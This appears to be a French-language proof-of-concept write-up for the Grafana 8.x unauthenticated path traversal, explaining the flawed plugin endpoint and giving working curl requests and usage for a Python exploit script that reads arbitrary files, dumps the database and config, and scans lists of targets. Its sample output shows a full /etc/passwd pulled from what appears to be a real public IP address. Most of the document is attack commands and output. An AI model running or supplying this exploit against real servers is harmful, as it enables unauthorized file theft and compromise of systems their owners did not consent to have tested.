
Code d'exploitation Python
Grafana 8.x - Traversée de chemin (sans authentification) Tout le crédit revient à j0v et à son tweet https://twitter.com/j0v0x0/status/1466845212626542607
Ceci est uniquement à des fins éducatives. Je ne suis pas responsable de vos actions. Utilisez-le à vos propres risques. De bonne foi, j'ai retenu la publication de cette Preuve de Concept (PoC) jusqu'à ce que cette vulnérabilité soit publique ou qu'un correctif soit disponible.
J'ai remarqué un tweet de j0v affirmant avoir trouvé un bug de traversée de chemin dans Grafana. Par curiosité, j'ai commencé à examiner le code source de Grafana. Dans le tweet, il était mentionné qu'il s'agissait d'un bug sans authentification. Il n'y a que quelques points de terminaison d'API publics dans Grafana, et un seul d'entre eux acceptait un chemin de fichier de la part de l'utilisateur.
Grafana possède un point de terminaison d'API public, /public/plugins/:pluginId, qui permet de visualiser les ressources d'un plugin. Cela fonctionne en fournissant un :pluginId valide puis en spécifiant le chemin du fichier, par exemple img/logo.png. Cependant, Grafana ne parvient pas à assainir le chemin de fichier fourni par l'utilisateur, ce qui entraîne une traversée de chemin.
Le répertoire accédé est . Sur une installation standard de Grafana, le répertoire de données de Grafana est . Ainsi, en remontant 8 répertoires, vous pouvez atteindre le répertoire racine du système de fichiers.
Requête HTTP :
<grafana>/public/app/plugins/panel/<pluginId>/usr/share/grafanaGET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Code incriminé : https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Remarque : Cela ne fonctionne pas dans le navigateur (qui réduit automatiquement les ../ dans le chemin)
Cela peut être testé avec curl en utilisant l'argument --path-as-is :
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]
optional arguments:
-h, --help show this help message and exit
-l INPUT_LIST, --list INPUT_LIST
Input list of ip:port
-db, --database Dump db
-cfg, --config Dump config
-c, --check Enable output regex checking (Suppress false positives)
-t TARGET, --target TARGET
Single target
-f TARGET_FILE, --file TARGET_FILE
Remote target file
-w WRITE_FILE, --write WRITE_FILE
Directory to write files to.
-v, --verbosity Verbosity
./exploit.py -f /etc/passwd -l targets.list
./exploit.py -f /etc/passwd -l targets.list -db
Vider la configuration :
./exploit.py -f /etc/passwd -l targets.list -cfg
Afficher uniquement les fichiers valides :
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin
Écrire le fichier dans le répertoire files :
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files